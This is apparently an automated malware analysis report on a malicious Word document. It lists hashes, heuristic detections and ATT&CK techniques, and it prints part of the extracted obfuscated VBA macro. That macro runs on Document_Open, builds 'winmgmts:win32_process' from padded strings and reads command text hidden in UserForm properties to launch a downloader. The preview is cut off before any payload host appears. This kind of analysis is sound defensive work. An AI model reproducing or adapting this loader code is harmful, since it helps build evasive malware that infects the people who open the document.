Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2665e27cc12b9a11…

MALICIOUS

Office (OLE)

175.2 KB Created: 2020-08-18 18:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9dcf16baa1c4b281c9a3f8ef6675e712 SHA-1: 17c796319b9647fbbdb2b29f9ecce4ec14bc860a SHA-256: 2665e27cc12b9a111b35b73a7afd85da8a5d1877d6270f6d8ea48edd2acc0718
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the Document_Open event and utilizes a hidden UserForm to execute a command stager. This stager is designed to download and execute a second-stage payload, as indicated by the critical heuristic firings for 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The ClamAV detection name also confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9375901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9375901-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11351 bytes
SHA-256: 5c23f86ce626148af412fc5b0877cef6c707cd1bb8e5349baf0616b05bcf4663
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lh7g0b9h_aoy495x"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vfb7dit25nd.S3sgr8w64n487qj2
End Sub


Attribute VB_Name = "Vfb7dit25nd"
Attribute VB_Base = "0{B379830A-FB52-49BA-BCDA-C74D2DBC9267}{CE7621EA-F69E-4BF3-B1FA-C6D7F8C7937D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function S3sgr8w64n487qj2()
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 956
Cf8dw69rdybutsdc = 394
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Ndoiewsoqa539 = Jkm507iveihj0v0_cp
Ojl8ztu7y0oi = Vfb7dit25nd.HelpContextId + 50 + 50
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 474
Cf8dw69rdybutsdc = 489
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Cg_cewfj158r0 = Jkm507iveihj0v0_cp
Jbcx9sj4hh_box8s2y = ChrW(Ojl8ztu7y0oi + (15))
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 424
Cf8dw69rdybutsdc = 654
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Hl7psmubilyv3ruq = Jkm507iveihj0v0_cp
R_5xprrs0pa6 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Jbcx9sj4hh_box8s2y + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Vfb7dit25nd.Kno8_75p2x6m9kroa + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 297
Cf8dw69rdybutsdc = 615
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Cftux6kj_pu = Jkm507iveihj0v0_cp
Nz4gxz5inruax6bi = Fz9ea9epoz_l(R_5xprrs0pa6)
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 751
Cf8dw69rdybutsdc = 137
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Bcxoqh4dtgxcbc = Jkm507iveihj0v0_cp
Set F3ro2994qx4jd = CreateObject(Nz4gxz5inruax6bi)
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F4fvvnjffwj1r))
Next Hd2hddwm1s1_o99a
Jkm507iveihj0v0_cp = 559
Cf8dw69rdybutsdc = 617
Jkm507iveihj0v0_cp = Jkm507iveihj0v0_cp + Cf8dw69rdybutsdc
Fae8ag9qmjiu49_ = Jkm507iveihj0v0_cp
Ry39a054125nahi = Vfb7dit25nd.T7i3k9e0sjyekwdhj.ControlTipText
   For Hd2hddwm1s1_o99a = 5 To 62
DoEvents
Debug.Print (CStr(Es7yzj2vi6daqr) & CStr(F
... (truncated)